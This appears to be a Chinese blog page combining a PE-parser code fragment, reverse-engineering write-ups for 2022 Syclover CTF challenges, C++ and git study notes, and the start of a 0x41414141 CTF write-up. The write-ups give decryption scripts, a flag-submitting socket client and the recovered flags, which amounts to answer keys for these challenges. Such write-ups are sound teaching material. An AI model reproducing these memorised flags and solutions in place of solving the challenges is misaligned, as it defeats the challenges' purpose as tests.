if (i == (UINT16) * (UINT16*)(ad_of_ordis + 2 * j))
{
printf(" %3d %s\n", i, vtop((UINT32) * (UINT32*)(ad_of_names + 4 * j), p_section_header, number_of_sections) + fbuffer);
flag = 0;
break;
}
}
if (flag == 1)
{
printf(" ---\n");
}
}
}
else
{
printf("no export..\n");
}
printf("\n");

//获取导入表
if ((UINT32) * (UINT32*)(datadirarray + 8) != 0)
{
UINT8* import_table = vtop((UINT32) * (UINT32*)(datadirarray + 8), p_section_header, number_of_sections) + fbuffer;
while (import_table != NULL)
{
UINT8* original_first_thunk = import_table;
UINT32 itnamead = (UINT32) * (UINT32*)(import_table + 12);
UINT8* itname = vtop(itnamead, p_section_header, number_of_sections) + fbuffer;

printf("Import Table:\n");
printf("%s\n\n", itname);

UINT8* name_stru = vtop((UINT32) * (UINT32*)(original_first_thunk), p_section_header, number_of_sections) + fbuffer;
while (name_stru != NULL)
{
UINT32 ntype = (UINT32) * (UINT32*)name_stru;
if (ntype & 0x80000000)
{
printf("import by ordinal %40d\n", ntype & 0x7fffffff);
}
else
{
UINT8* n_stru = vtop(ntype, p_section_header, number_of_sections) + fbuffer;
n_stru += 2;
printf("import by name %40s\n", n_stru);
}

name_stru += 8;
}
printf("--------------------\n");
import_table += 0x14;
}
}
else
{
printf("no import..\n");
}
printf("\n");
}

free(fbuffer);
return 0;
}

-s -t 模式打印节区和两张表;

end?

总结

只能说,纯手撸会有些不完善的bug,逻辑上和测试上是没问题的,有些偏移有问题,用微软自带的结构体应该是能解决这个毛病的,而且更好写,想用什么内容直接指就行了;

没有模块化也是bug模糊的问题之一;

写下来对PE有更深刻的理解;

genshin

阅读全文
2022-syc-bin二面

level5

逆向一个虚拟机,编写适应于其的二进制文件,实现tea算法;

main

上图左侧为main函数,逻辑就是读取名称 “binary” 的内容,然后将其赋给code,之后将code扔进vm函数充当指令集;

每条指令分三个数值,一个指令数,两个操作数,分别给了instru和One,Two变量;

根据输入不同的instru变量来调用不同的函数,这些函数就是指令执行的操作了,翻译如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
code[8] 是计数器 -> i

code[9] 是flag 控制数

code[7] 是栈针

code[6] 用于实现加法

---

0 code[one] = two ++i

1 code[code[7] + 10] = one ++code[7] ++i

2 code[code[7] + 10] = code[one] ++code[7] ++i

3 code[code[7] + 10] = code[8] + 1 ++code[7] code[8] = one

4 code[one] = code[two] ++i

5 code[8] = one

6 code[one + 10 + code[6]] += code[two] ++i

7 code[one] = code[code[6] + 10 + two] ++i

8 code[one] < < = two ++i

9 code[one] > > = two ++i

a code[one] += code[two + 10 + code[6]] ++i

b code[one] ^= code[two] ++i

c if( !code[9] ) -> code[8] = one ; else ++i

d end

e if(two < = code[one + 10 + code[6]])

​ {

if(two = code[one + 10 + code[6]])

​ code[9] = 1

else

​ code[9] = 2

​ }

else -> code[9] = 0

​ ++i

f --code[7] code[one] = code[code[7] + 10] ++i

10 --code[7] code[8] = code[code[7] + 10] ++i

11 code[code[6] + 10 + one] += two ++i

12 code[code[6] + 10 + one] += code[code[6] + 10 + two] ++i

13 code[one] = cin ++i

14 cout code[one] ++i
---

所以123都表示入栈,3表示call因为改变了计数器;f,10表示出栈,10表示return

由此对照机械码手撸汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
//赋初值

0 6 32 mov reg6, 50

1 11223344 push 11223344h

1 22334455 push 22334455h

1 33445566 push 33445566h

1 44556677 push 44556677h

---

//循环输入

11 0 0 add reg60, 0

tag1:

13 0 mov reg0, cin

2 0 push [reg0]

11 0 1 add reg60, 1



e 0 4 cmp reg60, 4

c 43 jnz tag1

---

//调用cry以及输出

3 4E call cry

14 0 mov cout, reg0

14 1 mov cout, reg1

14 2 mov cout, reg2

14 3 mov cout, reg3

d retn

---

//cry实现

cry:

1 9E3779B9 push delta (push后code[7] = 10)

// v[4]

4 0 E mov reg0, [esp + 6]

4 1 F mov reg1, [esp + 5]

4 2 10 mov reg2, [esp + 4]

4 3 11 mov reg3, [esp + 3]

---

//循环

0 3C 0 mov reg60, 0

11 0 0 add reg60, 0

tag2:

//sum

6 1 13 add reg61, [esp + 2]

//v0

4 3E 1 mov reg62, reg1

8 3E 4 shl reg62, 4

6 2 A add reg62, [esp + a]



4 3F 1 mov reg63, reg1

6 3 3D add reg63, reg61



4 40 1 mov reg64, reg1

9 40 5 shr reg64, 5

6 4 B add reg64, [esp + 9]



b 3E 3F xor reg62, reg63

b 3E 40 xor reg62, reg64

6 2 0 add reg62, reg0

4 0 3E mov reg0, reg62



//v1

4 3E 0 mov reg62, reg0

8 3E 4 shl reg62, 4

6 2 C add reg62, [esp + 8]



4 3F 0 mov reg63, reg0

6 3 3D add reg63, reg61



4 40 0 mov reg64, reg0

9 40 5 shr reg64, 5

6 4 D add reg64, [esp + 7]



b 3E 3F xor reg62, reg63

b 3E 40 xor reg62, reg64

6 2 1 add reg62, reg1

4 1 3E mov reg1 reg62



//v2

4 3E 3 mov reg62, reg3

8 3E 4 shl reg62, 4

6 2 A add reg62, [esp + a]



4 3F 3 mov reg63, reg3

6 3 3D add reg63, reg61



4 40 3 mov reg64, reg3

9 40 5 shr reg64, 5

6 4 B add reg64, [esp + 9]



b 3E 3F xor reg62, reg63

b 3E 40 xor reg62, reg64

6 2 2 add reg62, reg2

4 2 3E mov reg2 reg62



//v3

4 3E 2 mov reg62, reg2

8 3E 4 shl reg62, 4

6 2 C add reg62, [esp + 8]



4 3F 2 mov reg63, reg2

6 3 3D add reg63, reg61



4 40 2 mov reg64, reg2

9 40 5 shr reg64, 5

6 4 D add reg64, [esp + 7]



b 3E 3F xor reg62, reg63

b 3E 40 xor reg62, reg64

6 2 3 add reg62, reg3

4 3 3E mov reg3, reg62



11 0 1 add reg60, 1



e 0 20 cmp reg60, 32

c 55 jnz tag2

---



f 13 pop delta

10 retn

---


没实现栈平衡,不过芜锁胃;反正最后return回去输出就行;

注意:写二进制文件时用小端序,而且以DWORD为基本单位,并以3个DWORD对齐,比如 c 55 写成:0c 00 00 00 55 00 00 00 00 00 00 00 ;

还有个问题,根据调试,每次第一条指令开始是code[8] = 3C; 所以二进制文件需要填充垃圾信息,填多少?第一幅图中instru = code[3 * code[8] + 1010], 所以 括号里的内容为 : 1190 ;而写二进制文件需要以DWORD为单位,所以需要填充 1190 * 4 个 00 ;

通过:

pass

level1

ida:

main

调试可以发现main挂不上,然后就发现旁边的函数长得和main都差不多,一个一个断点试,找到第三个是真正的main函数;

主要思路就是输入15个内容,进行异或和加运算,然后和v4开始的数据比较;

写出逆运算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <iostream>
using namespace std;

int main()
{
int i, j;
unsigned int buf[15] = {
0x04, 0x46, 0x81, 0x63, 0x14, 0x53, 0x17, 0x6D, 0x6A, 0x67, 0x76, 0x16, 0x34, 0x14, 0x34
};
int v0 = 0;
char ans[16];
for (i = 0; i <= 14; ++i) //自加v0到加密完状态
{
for (j = 0; j <= 2; ++j)
{
v0++;
}
}
v0--; //多加一个减掉
for (i = 14; i >= 0; --i) //逆
{
for (j = 2; j >= 0;--j)
{
buf[i] -= v0--;
buf[i] ^= i ^ j ^ 0x32;
}
ans[i] = buf[i];
}
ans[15] = '\0';

printf("%s", ans);
return 0;
}

得到flag:SYC{0h_y0u1_finD0V0}

level2

ida:

main

进去之后第一感觉会发现main是个scanf函数,但是点进去之后会发现这个东西,让调试才能查看代码;点进这个函数之后会发现是个线程创建,注意调试时改变if判断的变量值为1;

在线程中可以发现以下代码:

thread

在thread main 函数里有两个函数:check() 和 encrypt() ;

check一开始就执行,判断长度,以及输入的内容必须为数字;

encrypt读入key和输入的数据,将数据前12位与key加密运算;

最后比较数据;

写出encrypt的逆向算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
for (i = 0; i < 12; ++i)
{
switch (key[i])
{
case 3:
v4 += 23; //无用
v3 ^= 5;
break;
case 9:
us[i] ^= key[i]; //不变
break;
case 161:
us[i] -= 2 * key[i]; //减等
break;
case 196:
us[i] -= 10; //减等
break;
case 229:
//v3 = 8 * ((v4 + 6) >> (v4 & 3)); 无用
us[i] = inter(us[i]);
break;
default:
break;
}
}

int inter(int a)
{
return a - 0x19;
}

将比较数据经过以上运算得到flag:SYC{03062639056784}

level3

ida进去可以发现是加壳了,函数很少;

打开二进制格式搜索upx,果然就找到了老朋友:

unpack

upx加壳的标识码是 UPX! 全大写,拿不准改哪个就全部 Upx 都改成 UPX;

改完就可以脱壳了;

看代码:

main

看不懂子进程作用,反正主要内容在父进程里:输入内容后,先进入change函数,把4个4个的char内容放到4单位的int里;然后把这个int数组放到xor函数里,把每个字节都和j做异或运算,最后和v19比较数据,v19的内容就是cpy的16长度的字符串;

异或的逆运算还是异或,写出复原代码:

1
2
3
4
5
6
7
8
9
10
for (i = 0; i < 16; i = i + 4)
{
for (j = 0; j <= 9; ++j)
{
we[i] = we[i] ^ j;
we[i + 1] = we[i + 1] ^ (j + 1);
we[i + 2] = we[i + 2] ^ (j + 2);
we[i + 3] = we[i + 3] ^ (j + 3);
}
}

将逆向得到的cpy字符串带入we得到flag:SYC{0k_y0u_s0lv3_it_}

level4

这道题缺库不能调,直接看静态;

ida:

main

左图main函数,右图rc4函数,将enter用rc4加密了,密钥是 syclover:)

使用大厨把enter加密后的内容烤出来:(CyberChef (gchq.github.io)

chef

发现开头是ELF,说明这加密出来的内容是个elf文件,将其写入二进制文件再用ida打开:

main

属于就正常了;

func

如上可知,输入16长度内容,然后进行tea算法(小魔改,每次异或了i),之后比较数据;

写出逆算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int i;
unsigned int j = 0,l , r ,sum = 0;
int v[4] = { 0x6A318EC6 , 0x5B898EC2 , 0x42FB5DD1 , 0x50AC4C5F };
int k[4] = {0x11 , 0x22 , 0x33 , 0x44};

while (j < 3)
{
l = v[j];
r = v[j+1];

for (i = 0; i < 32; ++i)
sum += DELTA;

for (i = 31; i >= 0; --i)
{
r -= (k[(sum >> 11) & 3] + sum) ^ (((l >> 5) ^ (16 * l)) + l) ^ i;
sum -= DELTA;
l -= (k[sum & 3] + sum) ^ (((r >> 5) ^ (16 * r)) + r) ^ i;
}

v[j] = l;
v[j + 1] = r;

sum = 0;
j += 2;
}

char* p;
p = (char *)v;
p[16] = '\0';


printf("%s", p);

得到flag:SYC{w3f-2hs-ij7-9is}

调试GLIBC_2.34小技巧

安装glibc-all-in-one

1
2
3
sudo git clone https://github.com/matrix1001/glibc-all-in-one.git 
cd glibc-all-in-one/
sudo python3 update_list

下载glibc

1
sudo ./download 2.35-0ubuntu3_amd64

安装patchelf

1
2
3
4
git clone https://github.com/NixOS/patchelf.git
cd patchelf
sudo apt-get install autoconf automake libtool
./bootstrap.sh

继续:

1
2
3
4
./configure
make
make check
sudo make install

配置ld.so

1
patchelf --set-interpreter path/to/.so the/elf/you/debug

配置环境

1
patchelf --set-rpath path/to/.so the/elf/you/debug

level6

逆向一个CPP服务器,得到flag,并编写socket客户端和远程服务器提交flag;

ida查看服务器:

main

这是一个服务端框架,首先创建套接字类型文件,并返回fd文件饰描述符;

然后和IP端口进行绑定;

之后一直监听这个端口,直到接收客户端请求,执行处理,并且是多线程的处理;

而处理的主体在 CTask_server 里可以找到:

true

先发送 “Please …” (send) 到客户端,然后等待输入,被inside变量接收,之后进入cc加密,和tt生成的v7进行比较数据;

看看里面加密吧,都tea ptsd了,不想放图了;直接来吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int i;
unsigned int j = 0, l, r, sum = 0;
int v[3] = { 0xED3E9980 , 0x57284856 ,0 }; //从tt里抄的
int k[4] = { 0x6C , 0x30 , 0x76 , 0x33 };


l = v[0];
r = v[1];

for (i = 0; i < 32; ++i)
sum += DELTA;

for (i = 31; i >= 0; --i) //小魔改tea
{
r -= ((l >> 5) + k[3]) ^ (l + sum) ^ (16 * l + k[2]) ^ i;
l -= ((r >> 5) + k[1]) ^ (r + sum) ^ (16 * r + k[0]) ^ i;
sum -= DELTA;
}

v[0] = l;
v[1] = r;

char* p = (char*)v;
p[9] = '\0';


printf("%s", p);

得到flag:D0Y0uKSk

如同服务端,自己写的客户端也需要一个框架,然后把发送的flag放到主体里就行;

根据题目中的链接,可以知道客户端只需要使用socket创建套接字后通过ip端口连接就行;

那么大概的框架就是: socket() -> 结构地址 -> connect() 连接到地址 -> 读 & 写 -> close() 结束;

内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
printf("Client Start\n");
int fd = socket(2, 1, 0); //逆向得到的参数

char lines[] = "D0Y0uKSk";

struct sockaddr_in serv_addr; //套接字结构地址
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET; //IPv4
serv_addr.sin_addr.s_addr = inet_addr("1.14.92.115"); //地址
serv_addr.sin_port = htons(1234); //端口

printf("Connecting..\n");
connect(fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); //接通accept
printf("Done !\n");

char buffer[40]; //回响容器
read(fd, buffer, sizeof(buffer) - 1);
printf("%s\n", buffer);
memset(&buffer, 0, sizeof(buffer));

printf("%s\n", lines);
write(fd, lines, sizeof(lines) - 1);

read(fd, buffer, sizeof(buffer) - 1);
printf("%s\n", buffer);
memset(&buffer, 0, sizeof(buffer));

close(fd);
return 0;
}

结果:

pass

更多socket学习

https://blog.csdn.net/m0_37947204/article/details/80489431

level7

给二进制加载器实现更多功能:1、转储节内容 2、输出数据符号 3、使用capstone反汇编.text段;

称之为环境恶心人之题;

题不难,但在wsl上装环境会变得千奇百怪,反正就是跑不起来,只有vm搞;

1
2
3
sudo
apt-get install binutils-dev
apt-get install libcapstone-dev

完成这道题需要知晓一点点bfd和capstone,以及更多的模仿;

注意引头 bfd.h 和 capstone/capstone.h;

题目已经把各种各样的代码都实现好了,只要求增添几个功能,逐一实现:

转储节内容

这里要求命令行输入三个参数,而第三个参数为节名称,并打印节的原始字节;

那么可以在原来打印节的地方(main.cc)镶嵌一个东西进去:

one

flag一开始设置为0,找到同名节后设置为1;

第一个判断是否有三个参数并且调控数为0,则执行这个函数;

外面的判断是如果没有找到第三个参数一样的节名称,则此时flag依然是0,所以执行打印没有找到;

下面是函数具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int print_origin_bytes(Section* sec, char *one)
{
int i,j = 0;
if(sec->name == one) //找到同名则进入
{
printf("\n");
printf("contents of %s section\n", one);
printf(" ");
for(i = 0 ; i < 16 ; i++) //打印开头的 00~0f
{
printf("%02jx ", i);
}
printf("\n\n");
i = 1;
printf(" ");
while(j < sec->size) //循环打印
{
printf("%02jx ", sec->bytes[j++]);
if(i == 16)
{
i = 0;
printf("\n");
printf(" ");
}
i++;
}
printf("\n\n");
return 1; //设置flag为1
}
return 0;
}

输出数据符号

找到 loader.h 中的symbol类,可以发现 SymbolType 里面只有 SYM_TYPE_UKN SYM_TYPE_FUNC 两个,需要打印 DATA 符号,则添加一个 SYM_TYPE_DATA = 2, ;

之后找到 loader.cc 中的一个函数:load_symbol_bfd,可以发现其中有一步是给函数添加 FUNC项的,镶嵌如下内容:

two

当不添加FUNC项的内容时,添加DATA就好了;

最后改变下main.cc里面打印符号的地方为:

1
2
3
4
printf(" %-40s 0x%016jx %s\n",
sym->name.c_str(),
sym->addr,
(sym->type & Symbol::SYM_TYPE_FUNC) ? "FUNC" : "DATA");

使用capstone反汇编.text段

吐槽一下,edge搜索capstone 反汇编会出现一个博客,详细的记录了如何使用capstone;

具体函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int disass_text(Binary bin)
{
csh dis;
cs_insn *insns;
Section *text;
size_t n, i;
Section* sec;

//获取text节
for(i = 0; i < bin.sections.size(); i++)
{
sec = &bin.sections[i];
if(sec->name == ".text")
text = sec;
}

if(!text) goto fail;

//初始化capstone
if(cs_open(CS_ARCH_X86, CS_MODE_64, &dis) != CS_ERR_OK)
goto fail;

//反汇编把内容放insns里; ( 返回0就是版本问题 ((
n = cs_disasm(dis, text->bytes, text->size, text->vma, 0, &insns);

if(n <= 0)
goto fail;

//打印
printf("disassembly of .text section:\n");
for(i = 0;i < n;i++)
{
printf("0x%016jx\t%s\t\t%s\n", insns[i].address, insns[i].mnemonic, insns[i].op_str);
}

cs_free(insns,n);
cs_close(&dis);

return 0;

fail:
printf("err\n");
return 1;

}

然后在main.cc的打印节后一部分调用就好了;

通过:

pass

总结

纯粹对今年的有兴趣,5和7都比较新鲜,也是第一次手撸汇编了解bfd库,还挺有意思;

阅读全文
C++学习日记

命名空间

namespace NameSpace{},为解决变量以及函数重名而出现;

只能在全局中声明,可以嵌套,使用NameSpace::Items,调用内容;

可以在函数开头用 using NameSpace::Items,来声明引用内容,或者用 using namespace NameSpace,来声明引用全部内容;

可以匿名,引用内容则为::Items,等效于全局内容;

引用

定义的时候就需要赋值:int &ra = a; ,前面加地址符号,意义是使得ra和a共享地址(取个别名);

数组定义时记得加括号明确计算意义:int (&ra)[10] = a[10]

类似指针,函数传参时可以间接影响外部变量,并且返回时不能返回局部变量,因为是一个地址,内容会发生改变;

本质

int &ra = a 等价于 int * const ra = &a

目的为了简化源码理解,不需要构造多级指针,传参时传入引用可以体现出改变外部变量的意思;

面向对象与类

特征:封装,继承,多态;

封装

将一类的函数和数据装在一个类里,设置私有数据域,和公共方法称为封装

结构体等同于类,类里的对象拥有属性(数据),行为(函数),以及构造函数(初始化数据的函数,与类同名无返回);

初始化定义:声明同时赋值;

1
2
//构造函数后面加冒号变量为初始化,意义在于控制常量
matrix(int input):line(input)

析构函数:与类名同名,前面加~,局部变量返回时自动执行,一般做扫尾工作,如free;

调用类函数的时候,实际上编译器将外部变量的引用(匿名 / this )传入了类函数中;

定义在类中的函数,可以使用 this 指针,这个指针用于操控类里的变量,防止同名冲突;

继承

将一个类的内容添加到另一个类的起始;

1
2
3
4
5
6
7
8
9
10
11
12
class Father
{
public:
int same;
int age;
}
class Child:Father //继承
{
public:
int same;
int height;
}

相当于:

1
2
3
4
5
6
7
8
class Child
{
public:
int same;
int age;
int same;
int height;
}

可以通过父类引用访问子类,但只能指到age结束,要访问子类后续可以用操作指针;

同样可以通过子类引用访问父类,但需要强制转换,且指针可以访问父类后面的空白区域;

1
2
3
4
5
6
7
Child ch;
Father *pfa = &ch;
pfa->age; //通过父类指针访问继承age;
---
Father fa;
Child *pch = (Child *)&fa;
pch->age; //通过子类指针访问父类age;

若继承里有同名变量,则使用就近原则使用子类的内容;若要访问父类的同名变量,加上父类名:

1
2
3
Child a;
a.same = 1; //改变原子类内容
a.Father::same = 2; //改变继承内容

C++拥有多继承,按顺序排的类,哪个在前,其内容内存地址继承在最上方;

权限继承:

class修饰默认为private,若以public继承,则父类内容里保持不变(public还是public,private还是private);

private修饰的内容继承,子类不能访问,但protected可以;(protected和private就只有这个区别)

构造析构函数也会继承;

new&delete

创建类指针时,在堆开辟类内存空间并执行构造函数: Child *pch = new Child(); 类似于java;

使用delete释放空间并执行析构函数: delete pch; ;

拷贝构造函数

1
2
3
4
Test::Test(Test &testaddr)
{

}

用于对象,复制属性时候执行,只是浅拷贝,值转换,指针可能出错;一般对象作为参数和返回值时就会调用;

虚继承

用于避免多继承的多义变量产生;如:A -> B,A -> C;B,C -> D;使得D里有两组A内容;

继承时,在继承类的前面用 virtual 修饰,称其为虚基类;此时,虚基类不会直接继承其内容给子类,而是会给子类一个虚基类表,这是一个指针,指向两个数据,第一个表示虚基类表位于当前所在类的偏移,第二个表示继承父类位于虚基类表的偏移;

一般虚继承的父类内容放在子类内存的下方;

友元

在类中定义,用 friend 修饰,可以为另类和函数,使其能够直接使用 private 修饰的内容;

运算符重载

类类型的对象进行运算是没有意义的,所以可以自己给运算符定义意义;

使用以下内容重载运算符 加号,使得当两个对象相加时执行 “+” 函数的语句:

1
2
3
4
5
6
7
8
9
class A
{

}

A operator+ (A a1, A a2)
{

}

多态

明确一些专有名词:

  1. 重载:同一类里,同名函数,不同参数表;
  2. 重写:不同类,且类有继承关系,同名函数;
  3. 静态联编:程序编译时定死函数符号以及类指针的引用;动态联编则相反;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class A
{
public:
void HaHa()
{
cout<<"233";
}
}
class B:public A
{
public:
void HaHa()
{
cout<<"lol";
}
}

---
//此为静态联编,当 *p 定为 A 类型时,默认A -> HaHa() 调用 A 类里的函数;则两个都输出 233 ;
//当父类A里函数用 virtual 修饰时为动态联编,两个分别输出 233 和 lol;

A a;
B b;
A *p = NULL;
A = &a;
A -> HaHa();
A = &b;
A -> HaHa();

可以抽象地将函数理解成是存在于类中(实际上并没有),继承后盖在子类头上,一共有两个HaHa函数,就近原则选择父类的函数(父类指针),而虚函数的声明免除了这个误会,就类似于虚继承了;

同一个指针,指向不同对象,展现出不同效果的情况,称其为多态,为了实现多态而不产生歧义,才有的虚函数

定义:一个类中声明了虚函数,但是没给出实现,此称为纯虚函数,这个类叫做抽象类;抽象类不配有对象;

1
2
3
4
class A
{
virtual void func() = 0;
}

Q:为什么这么做?

A:用于构造模型,用子类去实现具体内容,并由一个指向父类的指针去实现多个子类的多态;

如果定义了虚函数,则类里会存在虚表指针独占内存,指向虚表,虚表里包含各个虚函数的地址;

继承会合并父类虚表为一个,如果是多继承,则合并第一个继承的虚表,后面的会保留下来;

模板

为解决多次重载不同**类型(重点)**参数的函数而出现;

1
2
3
4
5
template<typename DD>
DD func(DD a, DD b)
{
return a-b;
}

使用时,直接代入函数就行,DD需同类型,但不能指针;

需要指针时,需要使模板特化

1
2
3
4
5
6
7
//紧跟上面的内容写
---
template<>
int *func<int *>(int *a, int*b) //尖括号内容可有可无
{
return *(a + b);
}

如果有重载函数,模板特化,函数模板都满足使用的类型,则优先级由最特化到最不特化;

类也有模板,用 template<class DD> 声明;DD则可替换类里属性的类型;

使用时,用 ClassName<type> a; 来创建一个类对象;

模板的机制:

实际上,模板通过把一个数据类型用通用参数符号来代替,实际使用时,用某种数据类型进行替换;

达到处理类型不同,实现功能相同的效果;

模板技术成为泛型编程

异常处理

三个关键词:

throw : 手动抛出异常,一般满足if关系式后执行,也一般存在try包括中;

1
throw code;		//code为之后的捕获catch返回的内容

trycatch 成对出现,前者会用大括号包住可能出现异常的语句块;后者作为函数跟随: catch(type code) , 接收抛出的code,并执行catch函数里的内容;

catch里也能放 ... ,意思是捕获任意类型(包括类)异常(接收任意类型code);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int func(int a, int b)
{
if(b == 0)
{
throw 12;
}
return a/b;
}

try
{
int a = func(1,0);
}
catch(int code)
{
cout << "异常了,且code为" << code << endl;
}

上面代码会使得打印catch中的语句,且code值为12;

STL

标准模板库;

其部件:容器,算法,迭代器;目的是为了更好地存储数据(如排序和查找遍历)

容器

顺序容器:

  • Vector:向量,动态数组

    可扩大数组,每次扩大自身2倍;

    用法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    push_back	//插入到末尾
    insert //指定位置插入
    Pop_back //删末尾元素
    erase //删除指定位置
    Clear //清空所有
    Vec[i] //访问索引元素
    at //返回指定下标处元素
    begin //返回 iterator 指向第一个元素
    End //返回 iterator 指向末尾下一个
    empty //是否为空?
    size //获取元素个数
    swap //交换两个元素

    ---
    vector<type> item; //创建
    vector::iterator it = item.begin(); //创建迭代器(指针)
  • String:字符串

  • List:双向链表

    不能操控下标,只能添加和删除以及遍历;

    用法和维克托差不多,多了个对头的操作:

    1
    2
    3
    4
    5
    6
    Push_front		//插入头部
    Pop_front //头部删除

    ---
    list<type> item; //创建
    list::iterator it = item.begin(); //创建迭代器(指针)

    若要操作插入,需要创建迭代器,并且用for循环让iterator++,对list而言,迭代器不能直接加一个数;

  • Deque:双端队列

关联容器:

  • Set

  • Map

    类似于python字典,有 key 和 value,其类型位pair;

    可以用 map[key] = value 实现赋值;

    用法:

    1
    2
    3
    4
    5
    6
    7
    using namespace std;

    map<const char*, int> item;
    item.insert(make_pair("BC",12));
    map::iterator it = item.begin();
    it -> first //访问key值
    it -> second//访问value值
  • Multiset

  • Multimap

容器适配器:

  • Stack
  • Queue
  • Prority queue

接口的概念

面向对象的过程中,接口就是公共属性的函数,是类内部私有属性和用户的桥梁;

多态的解释中,接口是抽象类函数,运用这个接口去实现不同子类的多态;

总结

实际学下来花了接近2个星期吧,说多不多说少不少,要真的掌握和吃牢固还是比较难受;

这么多内容实际上和C的差别也就是编译器,底层展现的代码其实都差不多(比如引用),按java的说法,其实对于这类语言还有更多说法,比如类里定义另类型对象这种聚集关系,以及链式异常(两种不同嵌套);

关于多态的思考

类型变量实际上也是一个引用,只不过CPP是声明即创建,只不过没赋值,而java是需要声明和创建的;所以导致一个结果:java只需要声明后创建子类类型就能实现多态,而CPP需要创建一个类指针来接收子类引用;

关于类的思考

STL的思想就很像java,感觉STL在往java和python靠,把一些容器的实现都弄成类,而且是泛型的;但是用之前记得调用头文件和std命名空间;

阅读全文
git学习日记

git是分布式版本控制系统;

什么是版本控制系统?

比如写游戏,会分版本,从一代的基础上复制并修改为二代,一代保留(类似MC的1.7.10和1.19);

当出了很多个版本之后,一点是想要回去玩之前的经典版本,但在版本丛中不好找;第二点是两个部门合作一个版本时分工不同,需要对一个共享文件进行改动,但是不知道另一个部门在什么时候做了什么改动,要合并内容,会比较难顶;

而一个软件能解决这些毛病,记录每次文件的改动,且允许共同编辑,称其为版本控制系统,目的为了方便开发大项目;

分布式与集中式?

集中式:版本库集中于中央服务器,每次改动会从其中获取新版本,之后推送回去;

分布式:每个人的文件中都有版本库,所以工作时不需联网,合作时,只需要将改动推送给对方,多人合作时,会有一人充当中央服务器;

Git工作流程

do

Workspace:工作区,平时存放项目代码的地方。
Index / Stage:暂存区,用于临时存放你的改动,事实上它只是一个文件,保存即将提交到文件列表信息。
Repository:仓库区(或本地仓库),就是安全存放数据的位置,这里面有你提交到所有版本的数据。其中HEAD指向最新放入仓库的版本。
Remote:远程仓库(github) ,托管代码的服务器,可以简单的认为是你项目组中的一台电脑用于远程数据交换。

一个文件夹即可成为工作区,其中初始化后有一个.git后缀子目录,存放Git管理信息;.git里又有暂存区和仓库区;

命令

基本操作

使文件夹成为工作区:

1
git init (指定目录)

添加文件到暂缓区:(name可以是*.加上后缀名,表示全部的一类后缀名都加入)

1
git add (name)

告知后提交,真正加入仓库中:

1
git commit -m "初始化项目版本"

查看仓库当前状态,显示有变更的文件:

1
git status

回退版本:

1
git reset (place)

从暂缓区和工作区中删除:

1
git rm

移动或重命名工作区文件:

1
git mv

远程操作

控制远程仓库:

1
git remote (基本操作)

从远程获取代码库:

1
git fetch

下载远程代码并合并:

1
git pull

上传远程代码并合并:

1
git push

撤回:

1
git revert

实际上是将之前的提交记录的相同状态再提交了一遍;

分支管理

创建分支:(不加name则是列出分支)

1
git branch (name)

带参:-d,表示delete,删除该分支;

​ -f,强制移动;例如:git branch -f main HEAD~3 将main分支移动到HEAD所指的提交记录上;

切换分支:

1
git checkout (name)

带参:-b,意思是先branch,再checkout,可以直接切换到新创的分支里;

name是某个具体提交记录那么就会分离HEAD,name如果是分支名加^,就会移到前一个提交记录;

如果是HEAD加~x,就会移动到前x个提交记录;

合并分支:(当前分支上融合另一个,另一个会存在一个副本)

1
git merge

合并同一分支上且不留副本:

1
git rebase 

带参:-i,交互式rebase;

将其他提交记录直接放到当前分支下:

1
git cherry-pick (name1) (name2)

结尾

更多练习:learngitbranching.js.org

github添加一个远程库命令:

1
2
3
git remote add origin git@github.com:XXXXX
git branch -M main
git push -u origin main
阅读全文
0x41414141 CTF

Backupkeys

Can you recover my backup keys to get the flag , they probably are hardcoded ?

提示说明 flag 是硬编码;

进入IDA只有start和零散的几个函数,说明加壳了;

用16进制查看器搜UPX可以发现 UPX! 标志;

脱壳后看main函数:

main

在最下方的输出 try harder的另一条线上有一个输出:

1
"Phew Phew collect the keys below , don't forget to put them in flag{} format"

